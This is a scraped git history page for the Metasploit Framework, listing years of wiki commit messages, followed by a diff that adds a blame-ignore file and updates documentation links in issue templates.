Tod Beardsley 36b08f3f42 Updated Metasploit-Bug-Reporting (markdown)
Oh yeah, why you should care.
2012-09-21 15:08:04 -05:00
Tod Beardsley d926a0fc1d Updated Metasploit-Bug-Reporting (markdown) 2012-09-21 14:48:22 -05:00
Tod Beardsley e1572a3fa7 Updated Metasploit-Bug-Reporting (markdown)
This should be final-ish for review.
2012-09-21 14:48:22 -05:00
Tod Beardsley 08090aea1e Updated Metasploit-Bug-Reporting (markdown) 2012-09-21 14:48:22 -05:00
Tod Beardsley 2433dcc3f8 Updated Metasploit-Bug-Reporting (markdown) 2012-09-21 14:48:22 -05:00
Tod Beardsley 1eec83c209 searchable bugs. 2012-09-21 14:48:22 -05:00
Tod Beardsley 4f3550bd06 2012-09-21 14:48:22 -05:00
Tod Beardsley 42edd41336 avoiding dupes 2012-09-21 14:48:22 -05:00
Tod Beardsley 32936d3ece Reorganize the beginning. 2012-09-21 14:48:22 -05:00
Tod Beardsley a4b5c39d4c 2012-09-21 14:48:22 -05:00
Tod Beardsley 2913abf782 Reorg layout 2012-09-21 14:48:22 -05:00
Tod Beardsley 2339b635bd New bug reporting page! 2012-09-21 14:48:22 -05:00
jlee-r7 91e94448be Updated How payloads work (markdown) 2012-09-21 10:40:50 -07:00
jlee-r7 27fadee2b4 Updated How payloads work (markdown) 2012-09-21 10:39:46 -07:00
jlee-r7 a351812202 Created How payloads work (markdown) 2012-09-21 10:33:45 -07:00
todb-r7 994fddf169 Add an alternative method of getting RVM. 2012-09-11 14:39:16 -07:00
todb-r7 e87bb97f24 Destroyed Cleaning Up Remote Branches (markdown) 2012-07-02 07:59:41 -07:00
todb-r7 780f5d7c82 Updated Remote Branch Pruning (markdown) 2012-06-29 13:35:32 -07:00
todb-r7 2751425ce7 A procedure for deleting old branches. 2012-06-29 13:14:33 -07:00
todb-r7 e4ff40fefa Updated Metasploit Development Environment (markdown) 2012-06-28 12:27:58 -07:00
jlee-r7 c205278c64 Updated Metasploit Development Environment (markdown) 2012-06-25 14:38:56 -07:00
todb-r7 54908c1faa Writing down an outline and first bit of a merge strategy doc. 2012-06-25 07:29:34 -07:00
jlee-r7 1f671d1aab Created Git Gotchas (markdown) 2012-06-20 12:21:43 -07:00
wchen-r7 93077b5c6f Updated Common Metasploit Module Bad Coding Practice (markdown) 2012-05-22 09:37:35 -07:00
wchen-r7 799cb44297 Updated Common Metasploit Module Bad Coding Practice (markdown) 2012-05-22 08:48:13 -07:00
wchen-r7 5881755cd5 Created Common Metasploit Module Bad Coding Practice (markdown) 2012-05-22 08:37:15 -07:00
jlee-r7 ec641a649e Updated Using Metasploit (markdown) 2012-05-15 11:43:20 -07:00
todb-r7 5326853ef3 Don't code-ify the brackets, they don't render right. 2012-05-14 12:45:11 -07:00
jlee-r7 423c573595 Markdown doesn't like [[]] in code blocks, but it's fine with [], which are equivalent in this case 2012-05-14 11:52:45 -07:00
jlee-r7 a780b673d3 Updated Metasploit Development Environment (markdown) 2012-05-13 12:16:41 -07:00
jlee-r7 b79ac68194 Make text match screenshot 2012-05-13 12:16:10 -07:00
jlee-r7 c8f8504f66 Updated Using Git (markdown) 2012-05-13 11:25:26 -07:00
todb-r7 893ad3d49f Updated Metasploit Development Environment (markdown) 2012-05-09 05:25:08 -07:00
todb-r7 20e9bc3873 Updated Metasploit Development Environment (markdown) 2012-05-08 09:38:08 -07:00
todb-r7 50e1283b36 Updated Metasploit Development Environment (markdown) 2012-05-08 09:37:17 -07:00
todb-r7 860199925e Run through all the identified errata: sudo, rvmsudo, git fetch, and a couple other minor fixes. 2012-05-07 09:54:34 -07:00
todb-r7 bc447106c0 Updated Metasploit Development Environment (markdown) 2012-05-04 13:48:21 -07:00
tdoan-r7 dbd7c5ee57 updated "$ git clone github:mcfakepants/metasploit-framework.git" to "$ git clone git@github.com:mcfakepants/metasploit-framework.git" 2012-05-04 13:23:18 -07:00
tdoan-r7 9e3e7c95d3 changed "$ ssh-keygen -t -rsa -C "mcfakepants@packetfu.com"" to $ ssh-keygen -t rsa -C "mcfakepants@packetfu.com"" 2012-05-04 13:08:55 -07:00
tdoan-r7 238fb78b4d minor grammatical changes 2012-05-04 11:59:45 -07:00
todb-r7 f8205c6234 Updated Metasploit Development Environment (markdown) 2012-05-04 11:42:29 -07:00
todb-r7 0b7a02c175 Updated Metasploit Development Environment (markdown) 2012-05-04 11:29:01 -07:00
todb-r7 fcee9d09b1 Updated Metasploit Development Environment (markdown) 2012-05-04 11:24:49 -07:00
todb-r7 b8d3af2f20 Updated Using metasploit (markdown) 2012-05-04 11:20:15 -07:00
todb-r7 3acdcf7b7f Updated Metasploit Development Environment (markdown) 2012-05-04 11:16:17 -07:00
todb-r7 3c3447e628 Updated Metasploit Development Environment (markdown) 2012-05-04 11:14:49 -07:00
todb-r7 b2d0e0f19f Updated Metasploit Development Environment (markdown) 2012-05-04 11:14:19 -07:00
todb-r7 8d4b44b94f Updated Metasploit Development Environment (markdown) 2012-05-04 11:12:13 -07:00
todb-r7 641ba07713 Updated Home (markdown) 2012-05-04 10:55:43 -07:00
todb-r7 5810b113c0 Updated Home (markdown) 2012-05-04 10:54:43 -07:00
Tod Beardsley 3ffe1097eb 2012-05-04 12:53:57 -05:00
todb-r7 ff78393bb0 Updated Home (markdown) 2012-05-04 10:52:47 -07:00
todb-r7 9086f52a79 Updated Home (markdown) 2012-05-04 10:51:53 -07:00
todb-r7 c71f6a9845 Updated Home (markdown) 2012-05-04 10:50:45 -07:00
todb-r7 20d8620d5c Updated Home (markdown) 2012-05-04 10:50:23 -07:00
todb-r7 d609f57ab4 Updated Home (markdown) 2012-05-04 10:49:27 -07:00
todb-r7 bac30c62a0 Updated Welcome to the Metasploit Wiki! (markdown) 2012-05-04 10:47:31 -07:00
todb-r7 bc38ba0f91 Updated Home (markdown) 2012-05-04 10:46:41 -07:00
Tod Beardsley a67a13cdb7 2012-05-04 12:44:54 -05:00
Tod Beardsley b6630b4bb2 sidebar cleanup, final 2012-05-04 12:44:54 -05:00
Tod Beardsley a614e5d665 2012-05-04 12:44:54 -05:00
Tod Beardsley d373857521 2012-05-04 12:44:54 -05:00
Tod Beardsley d1e32e52d4 2012-05-04 12:44:54 -05:00
Tod Beardsley 14de0d000c 2012-05-04 12:44:54 -05:00
Tod Beardsley 194ecf15df 2012-05-04 12:44:54 -05:00
Tod Beardsley dd17e26b12 2012-05-04 12:44:54 -05:00
Tod Beardsley 484fa63e1d 2012-05-04 12:44:54 -05:00
Tod Beardsley c562a86ece 2012-05-04 12:44:54 -05:00
Tod Beardsley afef1948cc 2012-05-04 12:44:53 -05:00
Tod Beardsley f5af1590d6 2012-05-04 12:44:53 -05:00
Tod Beardsley ce984ee0ba 2012-05-04 12:44:53 -05:00
Tod Beardsley 9530a44b83 2012-05-04 12:44:53 -05:00
Tod Beardsley f25fba537e 2012-05-04 12:44:53 -05:00
Tod Beardsley a37f7a4015 2012-05-04 12:44:53 -05:00
Tod Beardsley 9742e2b3e8 2012-05-04 12:44:53 -05:00
Tod Beardsley 9525f25b10 2012-05-04 12:44:53 -05:00
Tod Beardsley 0f259f0b55 2012-05-04 12:44:53 -05:00
Tod Beardsley da3ecae6c2 2012-05-04 12:44:53 -05:00
Tod Beardsley 43593c79a5 2012-05-04 12:44:53 -05:00
Tod Beardsley e4da14086c 2012-05-04 12:44:53 -05:00
Tod Beardsley 3980f35adb 2012-05-04 12:44:53 -05:00
Tod Beardsley b0adb73477 removing a page 2012-05-04 12:44:53 -05:00
Tod Beardsley 6e23d426a5 2012-05-04 12:44:53 -05:00
Tod Beardsley 6c43448491 Sidebar cleanup 2012-05-04 12:44:53 -05:00
Tod Beardsley 786c5e9611 2012-05-04 12:44:53 -05:00
Tod Beardsley 022c722d4b Sidebar cleanup 2012-05-04 12:44:53 -05:00
Tod Beardsley 28ab508d28 2012-05-04 12:44:53 -05:00
Tod Beardsley 986f71f3f4 2012-05-04 12:44:53 -05:00
Tod Beardsley 623f89c9b9 2012-05-04 12:44:53 -05:00
Tod Beardsley dd7083d922 2012-05-04 12:44:53 -05:00
Tod Beardsley f84f736404 2012-05-04 12:44:53 -05:00
Tod Beardsley 0750c0aeb2 2012-05-04 12:44:53 -05:00
Tod Beardsley f9966dccb7 2012-05-04 12:44:53 -05:00
Tod Beardsley 3e4de6cc98 2012-05-04 12:44:53 -05:00
Tod Beardsley f5ebcae519 Adding the global sidebar 2012-05-04 12:44:53 -05:00
Tod Beardsley 9a8c3ab83c Adding the global sidebar 2012-05-04 12:44:53 -05:00
Tod Beardsley efeccfe356 2012-05-04 12:44:53 -05:00
Tod Beardsley a5ed7271b7 2012-05-04 12:44:53 -05:00
Tod Beardsley ac8f233a6e 2012-05-04 12:44:53 -05:00
Tod Beardsley 06925f7a8a 2012-05-04 12:44:53 -05:00
Tod Beardsley 2e6b1b0d53 2012-05-04 12:44:53 -05:00
Tod Beardsley 8bef2f879f removing a screen 2012-05-04 12:44:53 -05:00
Tod Beardsley 6479f62aef adding screens 2012-05-04 12:44:53 -05:00
Tod Beardsley f72beb28b8 adding screen 2012-05-04 12:44:53 -05:00
Tod Beardsley 34010bceb0 2012-05-04 12:44:53 -05:00
Tod Beardsley 72e345f7f5 2012-05-04 12:44:53 -05:00
Tod Beardsley 6e56205144 2012-05-04 12:44:53 -05:00
Tod Beardsley 0841212431 adding screens 2012-05-04 12:44:53 -05:00
Tod Beardsley 62bd5e5721 2012-05-04 12:44:53 -05:00
Tod Beardsley 7f03097248 2012-05-04 12:44:53 -05:00
Tod Beardsley 4d87fc92f2 2012-05-04 12:44:53 -05:00
Tod Beardsley f9a7adcc88 2012-05-04 12:44:53 -05:00
Tod Beardsley e147c75e89 2012-05-04 12:44:53 -05:00
Tod Beardsley 1c5451f225 2012-05-04 12:44:52 -05:00
Tod Beardsley 17d0325014 2012-05-04 12:44:52 -05:00
Tod Beardsley 282756324f 2012-05-04 12:44:52 -05:00
Tod Beardsley 1eac8925b5 adding screens 2012-05-04 12:44:52 -05:00
Tod Beardsley 0151dd18f2 adding screens 2012-05-04 12:44:52 -05:00
Tod Beardsley 5d91b490f9 2012-05-04 12:44:52 -05:00
Tod Beardsley afc11bb91b 2012-05-04 12:44:52 -05:00
Tod Beardsley e21a5dceed 2012-05-04 12:44:52 -05:00
Tod Beardsley ead729ab8d special sidebar 2012-05-04 12:44:52 -05:00
Tod Beardsley e7de9bb225 2012-05-04 12:44:52 -05:00
Tod Beardsley c5025379ac 2012-05-04 12:44:52 -05:00
Tod Beardsley 70de24526b 2012-05-04 12:44:52 -05:00
Tod Beardsley 8a993627a8 Adding fork06 2012-05-04 12:44:52 -05:00
Tod Beardsley 296b213a52 2012-05-04 12:44:52 -05:00
Tod Beardsley dc309fca1a 2012-05-04 12:44:52 -05:00
Tod Beardsley c33f0d30cd 2012-05-04 12:44:52 -05:00
Tod Beardsley 063f7b4308 2012-05-04 12:44:52 -05:00
Tod Beardsley 67adc5db6f 2012-05-04 12:44:52 -05:00
Tod Beardsley a598cd2566 2012-05-04 12:44:52 -05:00
Tod Beardsley 48b422eed3 2012-05-04 12:44:52 -05:00
Tod Beardsley ea10ba4a40 2012-05-04 12:44:52 -05:00
Tod Beardsley 6ee6fe7261 2012-05-04 12:44:52 -05:00
Tod Beardsley 7ed345d680 shading 2012-05-04 12:44:52 -05:00
Tod Beardsley e6685fa164 shading 2012-05-04 12:44:52 -05:00
Tod Beardsley b98c826228 shading 2012-05-04 12:44:52 -05:00
Tod Beardsley c0a6c27ba5 shading 2012-05-04 12:44:52 -05:00
Tod Beardsley b86ee301c2 2012-05-04 12:44:52 -05:00
Tod Beardsley 82fce8d6a5 adding ssh screen 2012-05-04 12:44:52 -05:00
Tod Beardsley 3c7a8d9843 Hilighting 2012-05-04 12:44:52 -05:00
Tod Beardsley 49f4cfdeab 2012-05-04 12:44:52 -05:00
Tod Beardsley 935402790d Hilighting ssh05.png 2012-05-04 12:44:52 -05:00
Tod Beardsley bebae7475a Hilighting ssh02.png 2012-05-04 12:44:52 -05:00
Tod Beardsley 654cf5d2d5 Adding an ssh screen 2012-05-04 12:44:52 -05:00
Tod Beardsley bea7de531e 2012-05-04 12:44:52 -05:00
Tod Beardsley 5f46df170c Adding ssh screens 2012-05-04 12:44:52 -05:00
Tod Beardsley a9c03bd326 2012-05-04 12:44:52 -05:00
Tod Beardsley 5814edff15 2012-05-04 12:44:52 -05:00
Tod Beardsley d9b3bb97f2 Adding new user screenshots 2012-05-04 12:44:52 -05:00
Tod Beardsley f41772113e Removing sidebar for now. 2012-05-04 12:44:51 -05:00
Tod Beardsley 9945bc3279 2012-05-04 12:44:51 -05:00
Tod Beardsley bc9a0928c4 2012-05-04 12:44:51 -05:00
Tod Beardsley 9286f01f03 2012-05-04 12:44:51 -05:00
Tod Beardsley 6eb2ddeb66 2012-05-04 12:44:51 -05:00
Tod Beardsley 6f02ee253e 2012-05-04 12:44:51 -05:00
Tod Beardsley 50cd0ad7ab 2012-05-04 12:44:51 -05:00
Tod Beardsley 0bfd87a1a0 2012-05-04 12:44:51 -05:00
Tod Beardsley a2311e190e 2012-05-04 12:44:51 -05:00
Tod Beardsley 15c65c2be1 2012-05-04 12:44:51 -05:00
Tod Beardsley a53d15c266 2012-05-04 12:44:51 -05:00
Tod Beardsley 2a3f395881 Adding sidebar content. 2012-05-04 12:44:51 -05:00
Tod Beardsley c8637fd2b5 Adding a Sidebar for dev 2012-05-04 12:44:51 -05:00
Tod Beardsley b42d28610f Moving dev stuff to /dev 2012-05-04 12:44:51 -05:00
Tod Beardsley 50d372c7bd 2012-05-04 12:44:51 -05:00
Tod Beardsley bbecb84ab6 2012-05-04 12:44:51 -05:00
Tod Beardsley 012037ba9c 2012-05-04 12:44:51 -05:00
Tod Beardsley 02b9843b80 Adding a toplevel Sidebar 2012-05-04 12:44:51 -05:00
Tod Beardsley 849d0bb845 2012-05-04 12:44:51 -05:00
Tod Beardsley 856a37c291 Moving screenshot to screens subdir 2012-05-04 12:44:51 -05:00
Tod Beardsley 7ba6a6fb7f 2012-05-04 12:44:51 -05:00
Tod Beardsley f2414d81a4 Adding rvm02.png screenshot 2012-05-04 12:44:51 -05:00
Tod Beardsley 75810b4993 2012-05-04 12:44:51 -05:00
Tod Beardsley 9993db3e73 2012-05-04 12:44:51 -05:00
Tod Beardsley 8979eb7205 2012-05-04 12:44:51 -05:00
Tod Beardsley a953ad9237 2012-05-04 12:44:51 -05:00
Tod Beardsley 795846476a 2012-05-04 12:44:51 -05:00
Tod Beardsley 48df5e67d6 2012-05-04 12:44:51 -05:00
Tod Beardsley ef4b5fa053 2012-05-04 12:44:51 -05:00
Tod Beardsley fdefcf147c Initial outline and some content. 2012-05-04 12:44:51 -05:00
hmoore-r7 a58f8c990b Updated Metasploit Combined Installers (textile) 2012-05-02 22:20:24 -07:00
hmoore-r7 a89dbd6484 Updated Metasploit Combined Installers (textile) 2012-05-01 23:37:23 -07:00
hmoore-r7 a0db423e16 Updated Metasploit Combined Installers (textile) 2012-05-01 23:33:48 -07:00
hmoore-r7 251923f4ad Updated Metasploit Combined Installers (textile) 2012-04-24 21:23:02 -07:00
hmoore-r7 b3be9d5542 Updated Metasploit Combined Installers (textile) 2012-04-24 21:19:38 -07:00
hmoore-r7 3458c175c0 Updated Metasploit Combined Installers (textile) 2012-04-24 21:13:17 -07:00
hmoore-r7 6f53ac4aae Updated Metasploit Installers (textile) 2012-04-24 21:11:22 -07:00
hmoore-r7 b40020b843 Created Downloads by Version (textile) 2012-04-24 21:00:22 -07:00
hmoore-r7 1dffbec1c6 Destroyed 4.3 Release Note Collaboration (markdown) 2012-04-14 18:29:39 -07:00
trosen-r7 d2bca69c1a Updated 4.3 Release Note Collaboration (markdown) 2012-04-14 18:12:43 -07:00
trosen-r7 d2709b4c5b Updated 4.3 Release Note Collaboration (markdown) 2012-04-14 18:12:25 -07:00
trosen-r7 5ed51dfed9 Updated 4.3 Release Note Collaboration (markdown) 2012-04-14 18:12:02 -07:00
trosen-r7 3f4e51452b Updated 4.3 Release Note Collaboration (markdown) 2012-04-14 18:10:29 -07:00
hmoore-r7 ea21e941fa Updated 4.3 Release Note Collaboration (markdown) 2012-04-14 18:01:48 -07:00
hmoore-r7 be63d4197d Updated 4.3 Release Note Collaboration (markdown) 2012-04-14 18:00:41 -07:00
hmoore-r7 e217e0e382 Updated 4.3 Release Note Collaboration (markdown) 2012-04-14 18:00:02 -07:00
hmoore-r7 51a6243deb Created 4.3 Release Note Collaboration (markdown) 2012-04-14 17:56:40 -07:00
jlee-r7 0fb47d8cc4 Updated Exploit Ranking (markdown) 2012-04-13 15:17:26 -07:00
jlee-r7 077b1d87c0 Updated Exploit Ranking (markdown) 2012-04-13 15:12:00 -07:00
jlee-r7 ddd025ad1c Updated Exploit Ranking (markdown) 2012-04-13 15:11:40 -07:00
jlee-r7 776d258329 Updated Exploit Ranking (markdown) 2012-04-13 15:06:41 -07:00
jlee-r7 fddfcf2c0e Created Exploit Ranking (markdown) 2012-04-13 15:05:56 -07:00
jlee-r7 35fe8e61d3 Updated Home (markdown) 2012-04-10 18:49:37 -07:00
wchen-r7 62afb115bf Updated Want to get your feet wet? Start here. (markdown) 2012-04-09 18:11:07 -07:00
wchen-r7 6a8e369e56 Updated Want to get your feet wet? Start here. (markdown) 2012-04-09 18:09:34 -07:00
wchen-r7 8b2b853d6c Updated Want to get your feet wet? Start here. (markdown) 2012-04-09 18:03:12 -07:00
jlee-r7 cf61fbb738 Updated Using metasploit (markdown) 2012-03-27 11:45:50 -07:00
jlee-r7 3325f8eaaa Updated Using metasploit (markdown) 2012-03-27 11:45:39 -07:00
jlee-r7 046fb1698e Updated Using metasploit (markdown) 2012-03-27 11:45:07 -07:00
jlee-r7 29fccf4a99 Updated Using metasploit (markdown) 2012-03-27 11:44:23 -07:00
jlee-r7 8e4fd0c23b Created Using metasploit (markdown) 2012-03-27 11:41:48 -07:00
jlee-r7 5193b32caf Updated Home (markdown) 2012-03-27 11:29:08 -07:00
jcran-r7 2f5e04c9b0 Updated Working with the Framework Repo (markdown) 2012-03-23 14:00:32 -07:00
todb-r7 fda98fee3c Updated Style Tips (markdown) 2012-03-19 09:51:43 -07:00
todb-r7 97aa5758c1 Adding a grammar section. 2012-03-19 09:47:24 -07:00
jlee-r7 c9e4bddfc8 Updated Evading Anti Virus (markdown) 2012-02-28 09:05:12 -08:00
jlee-r7 8a1c79041b Updated Read these links (markdown) 2012-02-28 09:04:55 -08:00
jlee-r7 9424bae7b2 Updated Read these links (markdown) 2012-02-28 09:04:38 -08:00
jlee-r7 0ea620d3d0 Updated Evading Anti Virus (markdown) 2012-02-28 09:04:19 -08:00
jlee-r7 33d1ccf1a0 Created Evading Anti Virus (markdown) 2012-02-28 09:04:06 -08:00
jlee-r7 04e4bf5f70 Updated Style Tips (markdown) 2012-02-03 08:59:41 -08:00
jlee-r7 191b2d67b1 Updated Style Tips (markdown) 2012-02-03 08:46:54 -08:00
jlee-r7 32228982f5 Updated Acceptance Guidelines (markdown) 2012-02-02 14:57:35 -08:00
James Lee fe30c22880 Add a link to Style-Tips 2012-02-02 15:44:31 -07:00
James Lee ed10c4a75b Add some comments to make the settings more readable 2012-02-02 15:34:51 -07:00
James Lee aac9f8af33 Add a page with editor tips
Jus vim for now since that's all I use
2012-02-02 15:10:50 -07:00
Matt Buck b653c12608 Remove local rvmrc and add to gitignore. 2012-02-01 12:14:14 -06:00
mbuck-r7 fb14437e18 Updated Git Reference Sites (markdown) 2012-01-12 09:14:28 -08:00
mbuck-r7 b2a8f249ba Added "git - The Simple Guide" to list of resources. 2012-01-09 14:21:45 -08:00
todb-r7 c0dc301d73 Updated Want to get your feet wet? Start here. (markdown) 2011-12-27 08:54:11 -08:00
todb-r7 c93076d677 Updated Want to get your feet wet? Start here. (markdown) 2011-12-27 08:30:10 -08:00
todb-r7 72b02ed696 Updated Want to get your feet wet? Start here. (markdown) 2011-12-27 08:24:24 -08:00
todb-r7 0ecaa5c4a5 Updated Want to get your feet wet? Start here. (markdown) 2011-12-27 08:20:16 -08:00
todb-r7 f1015cd674 Taking Open TFTP off the list, adding Snort, TightVNC 2011-12-23 09:00:26 -08:00
Matt Buck 653c73a5a7 Add a section on cleaning up remote branches. 2011-12-09 14:25:17 -05:00
mbuck-r7 cfa3958d84 Move a sentence for clarity. 2011-12-02 15:36:30 -08:00
mbuck-r7 8b6bcd530e Fix image tag links. 2011-12-02 15:35:32 -08:00
Matt Buck 75af2e09ea Add Mou files to Gitignore. 2011-12-02 17:33:52 -06:00
Matt Buck 537b872744 Add section on landing pull requests. 2011-12-02 17:33:38 -06:00
dmaloney-r7 93542d0471 Updated Git cheatsheet (markdown) 2011-12-02 10:54:34 -08:00
dmaloney-r7 97e3b9febb Updated Git cheatsheet (markdown) 2011-12-02 10:53:43 -08:00
dmaloney-r7 a20507dcd6 Updated Git cheatsheet (markdown) 2011-12-02 10:51:32 -08:00
dmaloney-r7 0e7e35695f Updated Git Cheatsheet (survival level) (markdown) 2011-12-01 11:03:01 -08:00
todb-r7 7aa1b3f602 Dropping CVE-2044-2111 from the getting started wiki as it is about to be committed. Need to replace this with a new candidate. 2011-12-01 10:25:11 -08:00
todb-r7 24ff7b3eb7 Updated Want to get your feet wet? Start here. (markdown) 2011-11-21 08:00:19 -08:00
todb-r7 f466234024 Updated Want to get your feet wet? Start here. (markdown) 2011-11-21 07:59:48 -08:00
todb-r7 00675268da Adding a link for contributing to Metasploit 2011-11-14 19:07:10 -08:00
Matt Buck cc03e08547 Remove extra page. 2011-11-14 17:31:52 -06:00
todb-r7 8a0327ae23 Updated Want to get your feet wet? Start here. (markdown) 2011-11-14 15:17:25 -08:00
todb-r7 9ddc59bf19 Updated Want to get your feet wet? Start here. (markdown) 2011-11-14 15:16:18 -08:00
todb-r7 3b37d0f364 Updated Want to get your feet wet? Start here. (markdown) 2011-11-14 15:15:47 -08:00
todb-r7 93b3dc0514 Updated Want to get your feet wet? Start here. (markdown) 2011-11-14 15:14:45 -08:00
todb-r7 fc235a79b2 Updated Want to get your feet wet? Start here. (markdown) 2011-11-14 15:13:52 -08:00
todb-r7 46c4377147 Adding a getting started on modules for newbies 2011-11-14 15:12:38 -08:00
Matt Buck 6d7330b0ee Change Create to Send. 2011-11-10 17:00:47 -06:00
Matt Buck f8e2c88443 Fix typo. 2011-11-10 17:00:11 -06:00
Matt Buck 8580e4b1c3 Fix link for topic branches. 2011-11-10 16:59:06 -06:00
Matt Buck f0a8c90919 Add complete working with repo page. 2011-11-10 16:58:03 -06:00
Matt Buck 2d7eda8ba7 Fixing merge conflict. 2011-11-10 16:56:28 -06:00
Matt Buck 7c6a48aa35 Add framework page to sidebar for git section. 2011-11-10 16:55:38 -06:00
Matt Buck 27598e6bb2 2011-11-10 16:54:22 -06:00
Matt Buck b079c675c5 Add full path to image link. 2011-11-10 15:37:56 -06:00
Matt Buck 8d1a732985 Add step about forking. 2011-11-10 15:37:15 -06:00
todb-r7 ac1ff3fd25 Adding acceptance guidelines to the front page of the wiki 2011-11-10 13:08:34 -08:00
Matt Buck 41a1188348 Add acceptance guidelines to wiki. 2011-11-10 14:29:55 -06:00
todb-r7 5dd49d2505 link to HACKING and msftidy 2011-11-10 11:12:01 -08:00
todb-r7 9d254966cb spelling slowloris duh 2011-11-10 11:03:17 -08:00
hmoore-r7 b6ceec2852 Updated Acceptance Guidelines (markdown) 2011-11-10 11:01:16 -08:00
todb-r7 46480740d7 Adding an acceptance doc 2011-11-10 10:54:40 -08:00
Matt Buck 8219d83ed7 Test this syntax highlighting. 2011-11-09 21:26:22 -06:00
Matt Buck 5ba3dbd248 Test the console highlighting. 2011-11-09 21:24:45 -06:00
Matt Buck 61ce74aa60 Add a walkthrough for contributors. 2011-11-09 21:11:27 -06:00
Matt Buck 5801d3b336 Add rvmrc. 2011-11-09 21:11:06 -06:00
Matt Buck 397767c1b9 Reformat header for cheatsheet. 2011-11-09 17:03:52 -06:00
Matt Buck 3d25ce39f7 Reformat sidebar. Once more from the top. 2011-11-09 17:02:47 -06:00
Matt Buck 8a36139ccc Reformat sidebar again. 2011-11-09 17:02:12 -06:00
Matt Buck 267d8f535e Reformat sidebar. 2011-11-09 17:01:40 -06:00
Matt Buck b273b49078 Add a git sidebar. 2011-11-09 16:57:13 -06:00
Matt Buck 69ce65ec83 Okay, add TOC back. 2011-11-09 16:55:37 -06:00
Matt Buck 0d1d0dc82e Use two brackets. 2011-11-09 16:55:10 -06:00
Matt Buck 481588f868 Drop the TOC header. 2011-11-09 16:54:46 -06:00
Matt Buck 0282fa8e0d Add git section. 2011-11-09 16:53:43 -06:00
Matt Buck aba8ed88d0 Add git section. 2011-11-09 16:53:39 -06:00
trevrosen ce50b89296 Updated Git Cheatsheet (markdown) 2011-11-01 13:14:01 -07:00
trevrosen d2f6cdc4a0 Updated Git Cheatsheet (markdown) 2011-11-01 13:13:18 -07:00
trevrosen 0c14b1e6f7 added git in bash section 2011-11-01 07:27:22 -07:00
trevrosen 55c9c7d025 how could I forget git status? 2011-10-31 15:07:46 -07:00
trevrosen df6784c7ab Updated Git Cheatsheet (markdown) 2011-10-31 12:27:49 -07:00
trevrosen e754419417 Added stuff for Fugitive(Vim) and TextMate 2011-10-31 12:17:56 -07:00
trevrosen ceafa42cc3 Updated How do I...? (markdown) 2011-10-31 11:57:28 -07:00
trevrosen 1f38a4cc5d Created Git cheatsheet (markdown) 2011-10-31 11:56:52 -07:00
trevrosen 4dc1094b77 Updated Git Reference Sites (markdown) 2011-10-28 12:20:15 -07:00
techpeace 616eef47f7 Added "Git is Easier Than You Think" link. 2011-09-07 14:59:58 -07:00
techpeace 956b8c1054 Added GitHub Flow post. 2011-08-31 13:00:18 -07:00
gjw 2cff4a5a3b Updated Git Reference Sites (markdown) 2011-08-31 11:26:15 -07:00
gjw 768de66657 Updated Git Reference Sites (markdown) 2011-08-31 11:25:21 -07:00
techpeace 17a539764a Added a couple more Git sites. 2011-08-31 11:08:44 -07:00
techpeace 6cd0a477c7 Updated Get Reference Sites (markdown) 2011-08-31 10:59:30 -07:00
techpeace e25fd56ebe Updated Reference Sites (markdown) 2011-08-31 10:59:16 -07:00
techpeace 96bbe5d26a Updated Reference Sites (markdown) 2011-08-31 10:57:12 -07:00
techpeace 68a50e40f7 Updated Reference Sites (markdown) 2011-08-31 10:56:05 -07:00
techpeace 0f3d3680f1 Updated Reference Sites (markdown) 2011-08-31 10:55:45 -07:00
techpeace 75145afed2 Initial version 2011-08-31 10:55:11 -07:00
hdm 99b4419394 Updated Home (markdown) 2011-08-30 07:56:13 -07:00
rapid7 0c5f53133c Initial Commit 2011-08-30 07:55:51 -07:00
1375 changed files with 78624 additions and 18360 deletions
+15
View File
@@ -0,0 +1,15 @@
# This file aims to document any commits which should be ignored from Git/Github history
# Only whitespace changes should be added to this file where possible
#
# Additional details:
# https://docs.github.com/en/repositories/working-with-files/using-files/viewing-a-file#ignore-commits-in-the-blame-view
#
# 2013: Retabbing the majority of Metasploit Framework to use two-space soft tabs instead of hard tabs
7e5e0f7fc814fee55a1eca148c51f2344da65e59
41e4375e43443bb568729a3079d3bf9944cbc669
84aaf2334ae2de73f27999d4c003448c8e891d3a
9f3a5dc5d0424c2c1a067b140b1642319dee65c2
# 2022: Fixing whitespace on the tests folder with "rubocop --fix-layout test"
29cc349649f978304712dd0c31dc8861e9627209
+2 -2
View File
@@ -8,8 +8,8 @@ labels: "bug"
Please fill out each section below, otherwise, your issue will be closed. This info allows Metasploit maintainers to diagnose (and fix!) your issue as quickly as possible.
Useful Links:
- Wiki: https://github.com/rapid7/metasploit-framework/wiki
- Reporting a Bug: https://github.com/rapid7/metasploit-framework/wiki/Reporting-a-Bug
- Wiki: https://docs.metasploit.com/
- Reporting a Bug: https://docs.metasploit.com/docs/using-metasploit/getting-started/reporting-a-bug.html
Before opening a new issue, please search existing issues: https://github.com/rapid7/metasploit-framework/issues
-->
+2 -2
View File
@@ -8,7 +8,7 @@ labels: "suggestion-docs"
To make it easier for us to help you, please include as much useful information as possible.
Useful Links:
- Wiki: https://github.com/rapid7/metasploit-framework/wiki
- Wiki: https://docs.metasploit.com/
Before opening a new issue, please search existing issues https://github.com/rapid7/metasploit-framework/issues
-->
@@ -33,7 +33,7 @@ Why should we document this and who will benefit from it?
### Draft the doc
- [ ] Write the doc, following the format listed in these resources:
- [Overview on contributing module documentation](https://github.com/rapid7/metasploit-framework/wiki/Writing-Module-Documentation)
- [Overview on contributing module documentation](https://docs.metasploit.com/docs/development/quality/writing-module-documentation.html)
- [Docs Templates](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/module_doc_template.md)
- [Example of a similar article]()
+1 -1
View File
@@ -8,7 +8,7 @@ labels: "suggestion-feature"
To make it easier for us to help you, please include as much useful information as possible.
Useful Links:
- Wiki: https://github.com/rapid7/metasploit-framework/wiki
- Wiki: https://docs.metasploit.com/
Before opening a new issue, please search existing issues https://github.com/rapid7/metasploit-framework/issues
-->
+1 -1
View File
@@ -8,7 +8,7 @@ labels: "suggestion-module"
To make it easier for us to help you, please include as much useful information as possible.
Useful Links:
- Wiki: https://github.com/rapid7/metasploit-framework/wiki
- Wiki: https://docs.metasploit.com/
Before opening a new issue, please search existing issues https://github.com/rapid7/metasploit-framework/issues
-->
+1 -1
View File
@@ -8,7 +8,7 @@ labels: "question"
To make it easier for us to help you, please include as much useful information as possible.
Useful Links:
- Wiki: https://github.com/rapid7/metasploit-framework/wiki
- Wiki: https://docs.metasploit.com/
Before opening a new issue, please search existing issues https://github.com/rapid7/metasploit-framework/issues
-->
+1 -1
View File
@@ -31,4 +31,4 @@ Complex Software Examples:
